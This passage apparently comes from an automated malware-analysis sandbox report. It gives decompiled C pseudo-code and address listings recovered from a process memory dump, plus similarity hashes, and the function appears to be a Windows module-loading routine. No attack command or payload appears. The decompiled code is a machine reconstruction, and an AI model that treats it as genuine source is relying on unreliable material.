								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x04b420a0
0x04b420a8
0x04b420ad
0x04b420b3
0x04b420b8
0x04b420c2
0x04b420c7
0x04b420cb
0x04b420d2
0x04b42263
0x04b42266
0x04b85836
0x04b85836
0x00000000
0x04b4226c
0x04b4226c
0x04b42270
0x04b42274
0x04b420e2
0x04b420e2
0x04b420e6
0x04b420ee
0x04b857dc
0x04b857de
0x04b857ec
0x04b857ec
0x04b857f1
0x04b857f3
0x04b857f8
0x00000000
0x04b857f8
0x04b857e0
0x04b857e4
0x04b857ea
0x00000000
0x00000000
0x00000000
0x04b857ea
0x04b420f4
0x04b420f4
0x04b420f8
0x04b420f8
0x04b420fc
0x04b42100
0x04b42106
0x04b42201
0x04b42206
0x04b4220b
0x04b4220e
0x04b422a9
0x04b422ac
0x00000000
0x00000000
0x04b422b2
0x04b422b5
0x04b85801
0x04b85806
0x00000000
0x00000000
0x04b85810
0x04b85815
0x04b85818
0x00000000
0x00000000
0x04b8581e
0x04b422bb
0x04b422bb
0x04b42218
0x04b42218
0x04b4221c
0x04b42220
0x04b42222
0x04b422c2
0x04b422c4
0x04b422dc
0x04b422dc
0x04b422e1
0x00000000
0x00000000
0x00000000
0x04b422e7
0x04b422c8
0x04b422cd
0x04b422d3
0x04b422d6
0x04b85823
0x04b85825
0x04b85827
0x00000000
0x00000000
0x04b8582d
0x00000000
0x04b8582d
0x00000000
0x04b42228
0x04b42228
0x00000000
0x04b42228
0x04b42222
0x04b42214
0x04b42214
0x00000000
0x04b42114
0x04b42114
0x04b42114
0x04b4211a
0x04b4211c
0x04b42348
0x04b4234d
0x04b85840
0x04b85845
0x04b85848
0x04b8584e
0x04b8584e
0x04b85848
0x04b42353
0x04b42355
0x04b42388
0x04b42388
0x04b42368
0x04b4236a
0x04b4236c
0x04b4238f
0x00000000
0x04b4236e
0x04b4236e
0x04b4218e
0x04b4218e
0x04b42191
0x04b42195
0x04b85a03
0x04b85a06
0x04b85a0c
0x04b85a0f
0x04b85a11
0x04b85a13
0x04b85a13
0x04b85a19
0x04b85a1f
0x00000000
0x04b4219b
0x04b4219b
0x04b421a0
0x04b42282
0x04b42284
0x04b42284
0x04b42284
0x04b42284
0x04b421a6
0x04b421a9
0x04b421ac
0x04b421ae
0x04b421b3
0x04b4228b
0x04b42290
0x04b42379
0x04b42296
0x04b42298
0x04b42298
0x04b42290
0x04b421b9
0x04b421be
0x04b422a2
0x04b422a2
0x04b421c4
0x04b421c8
0x04b421cc
0x04b421d0
0x04b421d4
0x04b421de
0x04b421e3
0x04b85a29
0x04b85a2c
0x00000000
0x00000000
0x04b85a3b
0x00000000
0x04b421e9
0x04b421e9
0x04b421e9
0x04b421ee
0x04b421f1
0x04b85a45
0x04b85a4b
0x04b85a52
0x04b85a58
0x04b85a5d
0x04b85a5f
0x04b85a71
0x04b85a61
0x04b85a6a
0x04b85a6a
0x04b85a76
0x04b85a79
0x04b85a7f
0x04b85a83
0x04b85a85
0x04b85a87
0x04b85a87
0x04b85a8c
0x04b85a91
0x04b85a97
0x04b85a9f
0x04b85aa0
0x04b85aa1
0x04b85aa6
0x04b85aab
0x04b85ab1
0x04b85ab3
0x04b85ab9
0x04b85aca
0x04b85ad4
0x04b85ad4
0x04b85ade
0x04b85ade
0x04b85aab
0x04b85a79
0x04b85a52
0x04b421f7
0x04b421f9
0x04b421fe
0x04b421fe
0x04b421e3
0x04b42195
0x04b4236c
0x04b42122
0x04b42122
0x04b42124
0x04b42231
0x04b42236
0x04b42236
0x04b42238
0x04b42238
0x04b42240
0x04b42242
0x04b42244
0x04b859fc
0x04b4218c
0x04b4218c
0x00000000
0x04b4218c
0x04b4224a
0x04b4224f
0x04b42256
0x04b42304
0x04b42309
0x04b4230f
0x04b4231e
0x04b4231e
0x04b4231e
0x04b42320
0x04b42325
0x04b4232a
0x04b4232c
0x04b4233e
0x04b4233e
0x00000000
0x04b4232c
0x04b42311
0x04b42317
0x04b4231a
0x04b4231c
0x04b42380
0x04b42380
0x04b42380
0x04b42384
0x00000000
0x00000000
0x04b42386
0x00000000
0x04b4231c
0x04b4225c
0x04b4225c
0x00000000
0x04b4225c
0x04b4212a
0x04b42134
0x04b42138
0x04b4213d
0x04b85858
0x04b85863
0x04b85863
0x04b85867
0x04b8586a
0x00000000
0x00000000
0x04b8586c
0x04b8586c
0x04b85871
0x04b85875
0x04b85877
0x04b85997
0x04b8599c
0x04b859a1
0x04b859a7
0x04b859a7
0x00000000
0x04b859a7
0x04b8587d
0x00000000
0x04b8588b
0x04b8588b
0x04b85890
0x04b85892
0x04b85894
0x04b85899
0x04b8589b
0x04b858a0
0x04b858a0
0x04b858aa
0x04b858b2
0x04b858b6
0x04b858be
0x04b858c6
0x04b858c9
0x04b8590d
0x04b85917
0x04b8591a
0x04b8591c
0x04b85920
0x04b85928
0x04b8592a
0x04b8592c
0x04b8592e
0x04b8592e
0x04b858cb
0x04b858cd
0x04b858d8
0x04b858e0
0x04b858f4
0x04b858fe
0x04b858fe
0x04b8593a
0x04b8593e
0x04b85940
0x04b85942
0x00000000
0x04b85944
0x04b85944
0x04b85949
0x04b8594e
0x04b8594e
0x04b85953
0x04b8595b
0x04b85976
0x04b85976
0x04b8597a
0x04b8597f
0x00000000
0x00000000
0x00000000
0x00000000
0x04b85981
0x04b85981
0x04b85981
0x04b85983
0x04b85988
0x04b8598d
0x04b85991
0x04b85991
0x00000000
0x04b8595d
0x04b8595d
0x04b85963
0x04b85965
0x00000000
0x00000000
0x00000000
0x00000000
0x04b85967
0x04b85967
0x04b8596b
0x04b8596d
0x00000000
0x00000000
0x04b8596f
0x04b85971
0x04b85971
0x04b85974
0x00000000
0x00000000
0x00000000
0x04b85974
0x00000000
0x04b85967
0x04b8595b
0x04b85942
0x04b85863
0x04b42143
0x04b42143
0x04b42149
0x04b4214f
0x04b422f1
0x04b422f6
0x00000000
0x04b42173
0x04b42173
0x04b4217d
0x04b42181
0x04b42186
0x04b859ae
0x04b859b2
0x04b859b5
0x04b859b7
0x04b859ba
0x04b859cd
0x04b859d1
0x04b859d5
0x04b859d9
0x04b859db
0x00000000
0x00000000
0x04b859dd
0x04b859dd
0x04b859e1
0x04b859e4
0x04b859e7
0x04b859ee
0x04b859ee
0x04b859f3
0x04b859f3
0x00000000
0x04b42186
0x04b4214f
0x04b42106
0x04b42266
0x04b420d8
0x04b420da
0x04b420e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70426151ef6f0fcd8aeb6e09b0ea03450893b4dffbfeb990d716a9eddcb53847
Instruction ID: e08ce3a94b95d808500e9ab2dcd37750c8900bcf75088773baa18bfb637ea9a5
Opcode Fuzzy Hash: 70426151ef6f0fcd8aeb6e09b0ea03450893b4dffbfeb990d716a9eddcb53847
Instruction Fuzzy Hash: 86F1B171608341AFEB29DF28C44076AB7E1EBC5394F0589EDF8959B280E734F841EB52

Uniqueness

Uniqueness Score: -1.00%

Function 04B2D5E0, Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E04B2D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x4c0d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E04B26600(0x4c052d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x4c07b9c; // 0x0
							_t281 = L04B34620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E04B5F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x4c07b90; // 0x770b0000
								if(_t384 == 0) {
									_t353 =  *0x4c07b8c; // 0x2f11d40
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E04B32280(_t200, 0x4c084d8);
									_t277 =  *0x4c085f4; // 0x2f15fd8
									_t351 =  *0x4c085f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x2f15f70
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E04B2FFB0(_t287, _t353, 0x4c084d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E04B6CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E04B26600(0x4c052d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E04B27926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x4c0b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E04B9E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x4c08472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x4c0b218; // 0x4d7ed9e9
														asm("ror edi, cl");
														 *0x4c0b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E04B32280(_t250, 0x4c084d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L04B53898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E04B2FFB0(_t293, _t353, 0x4c084d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E04B537F5(_t353, 0);
																}
																E04B50413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E04B49B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E04B402D6(_t174);
																}
																L04B377F0( *0x4c07b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E04B4C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L04B2EC7F(_t353);
										L04B419B8(_t287, 0, _t353, 0);
										_t200 = E04B1F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E04B5B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x4c0b2f8; // 0xbb0000
									if((_t206 |  *0x4c0b2fc) == 0 || ( *0x4c0b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x4c0b2ec; // 0x100
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E04BC6B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E04BC6AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E04B2E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L04B2EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E04B59730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E04B2E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L04B28F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E04B53C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x04b2d5f2
0x04b2d5f5
0x04b2d5f5
0x04b2d5fd
0x04b2d600
0x04b2d60a
0x04b2d60d
0x04b2d617
0x04b2d61d
0x04b2d627
0x04b2d62e
0x04b2d911
0x04b2d913
0x00000000
0x04b2d919
0x04b2d919
0x04b2d919
0x04b2d634
0x04b2d634
0x04b2d634
0x04b2d634
0x04b2d640
0x04b2d8bf
0x00000000
0x04b2d646
0x04b2d646
0x04b2d64d
0x04b2d652
0x04b7b2fc
0x04b7b2fc
0x04b7b302
0x04b7b33b
0x04b7b341
0x00000000
0x04b7b304
0x04b7b304
0x04b7b319
0x04b7b31e
0x04b7b324
0x04b7b326
0x04b7b332
0x04b7b347
0x04b7b34c
0x04b7b351
0x04b7b35a
0x00000000
0x04b7b328
0x04b7b328
0x00000000
0x04b7b328
0x04b7b326
0x04b2d658
0x04b2d658
0x04b2d65b
0x04b2d665
0x00000000
0x04b2d66b
0x04b2d66b
0x04b2d66b
0x04b2d66b
0x04b2d66d
0x04b2d672
0x04b2d67a
0x00000000
0x00000000
0x04b2d680
0x04b2d686
0x04b2d8ce
0x04b2d8d4
0x04b2d8dd
0x04b2d8e0
0x04b2d68c
0x04b2d691
0x04b2d69d
0x04b2d6a2
0x04b2d6a7
0x04b2d6b0
0x04b2d6b5
0x04b2d6e0
0x04b2d6b7
0x04b2d6b7
0x04b2d6b9
0x04b2d6b9
0x04b2d6bb
0x04b2d6bd
0x04b2d6ce
0x04b2d6d0
0x04b2d6d2
0x04b7b363
0x04b7b365
0x00000000
0x04b7b36b
0x00000000
0x04b7b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04b2d6bf
0x04b2d6bf
0x04b2d6e5
0x04b2d6e7
0x04b2d6e9
0x04b2d6ec
0x04b2d6ec
0x04b2d6ef
0x04b2d6f5
0x04b2d6f9
0x04b2d6fb
0x04b2d6fd
0x04b2d701
0x04b2d703
0x04b2d70a
0x04b2d70a
0x04b2d701
0x04b2d710
0x04b2d710
0x04b2d6c1
0x04b2d6c1
0x04b2d6c6
0x04b7b36d
0x04b7b36f
0x00000000
0x04b7b375
0x04b7b375
0x04b7b375
0x00000000
0x04b7b375
0x00000000
0x04b2d6cc
0x04b2d6d8
0x04b2d6d8
0x04b2d6d8
0x00000000
0x04b2d6c6
0x04b2d6bf
0x00000000
0x04b2d6da
0x04b2d6da
0x04b2d716
0x04b2d71b
0x04b2d720
0x04b2d726
0x04b2d726
0x04b2d72d
0x00000000
0x04b2d733
0x04b2d739
0x04b2d742
0x04b2d750
0x04b2d758
0x04b2d764
0x04b2d776
0x04b2d77a
0x04b2d783
0x04b2d928
0x04b2d92c
0x04b2d93d
0x04b2d944
0x04b2d94f
0x04b2d954
0x04b2d956
0x04b2d95f
0x04b2d961
0x04b2d973
0x04b2d973
0x04b2d956
0x04b2d944
0x04b2d92c
0x04b2d78b
0x04b7b394
0x04b2d791
0x04b2d798
0x04b7b3a3
0x04b7b3bb
0x04b7b3bb
0x04b2d7a5
0x04b2d866
0x04b2d870
0x04b2d884
0x04b2d892
0x04b2d898
0x04b2d89e
0x04b2d8a0
0x04b2d8a6
0x04b2d8ac
0x04b2d8ae
0x04b2d8b4
0x04b2d8b4
0x04b2d8ae
0x04b2d7a5
0x04b2d78b
0x04b2d7b1
0x04b7b3c5
0x04b7b3c5
0x04b2d7c3
0x04b2d7ca
0x04b2d7e5
0x04b2d7eb
0x04b2d8eb
0x04b2d8ed
0x00000000
0x04b2d8f3
0x04b2d8f3
0x04b2d8f3
0x00000000
0x04b2d8ed
0x04b2d7cc
0x04b2d7cc
0x04b2d7d2
0x00000000
0x04b2d7d4
0x04b2d7d4
0x04b2d7d7
0x04b2d7df
0x04b7b3d4
0x04b7b3d9
0x04b7b3dc
0x04b7b3dc
0x04b7b3df
0x04b7b3e2
0x04b7b468
0x04b7b46d
0x04b7b46f
0x04b7b46f
0x04b7b475
0x04b2d8f8
0x04b2d8f9
0x04b2d8fd
0x04b7b3e8
0x04b7b3e8
0x04b7b3eb
0x04b7b3ed
0x00000000
0x04b7b3ef
0x04b7b3ef
0x04b7b3f1
0x04b7b3f4
0x04b7b3fe
0x04b7b404
0x04b7b409
0x04b7b40e
0x04b7b410
0x04b7b410
0x04b7b414
0x04b7b414
0x04b7b41b
0x04b7b420
0x04b7b423
0x04b7b425
0x04b7b427
0x04b7b42a
0x04b7b42d
0x04b7b42d
0x04b7b42a
0x04b7b432
0x04b7b436
0x04b7b438
0x04b7b43b
0x04b7b43b
0x04b7b449
0x04b7b44e
0x04b7b454
0x04b7b458
0x04b7b458
0x04b7b45d
0x00000000
0x04b7b45d
0x04b7b3ed
0x00000000
0x00000000
0x00000000
0x04b2d7df
0x04b2d7d2
0x04b2d7ca
0x04b7b37c
0x04b7b37e
0x04b7b385
0x04b7b38a
0x00000000
0x04b7b38a
0x04b2d742
0x04b2d7f1
0x04b2d7f8
0x04b7b49b
0x04b7b49b
0x04b2d800
0x04b2d837
0x04b2d843
0x04b2d845
0x04b2d847
0x04b2d84a
0x04b2d84b
0x04b2d84e
0x04b2d857
0x04b2d802
0x04b2d802
0x04b2d80d
0x00000000
0x04b2d818
0x04b2d818
0x04b2d824
0x04b2d831
0x04b7b4a5
0x04b7b4ab
0x04b7b4b3
0x04b7b4b8
0x04b7b4bb
0x00000000
0x04b7b4c1
0x04b7b4c1
0x04b7b4c8
0x00000000
0x04b7b4ce
0x04b7b4d4
0x04b7b4e1
0x04b7b4e3
0x04b7b4e5
0x00000000
0x04b7b4eb
0x04b7b4f0
0x04b7b4f2
0x04b2dac9
0x04b2dacc
0x04b2dacf
0x04b2dad1
0x04b2dd78
0x04b2dd78
0x04b2dcf2
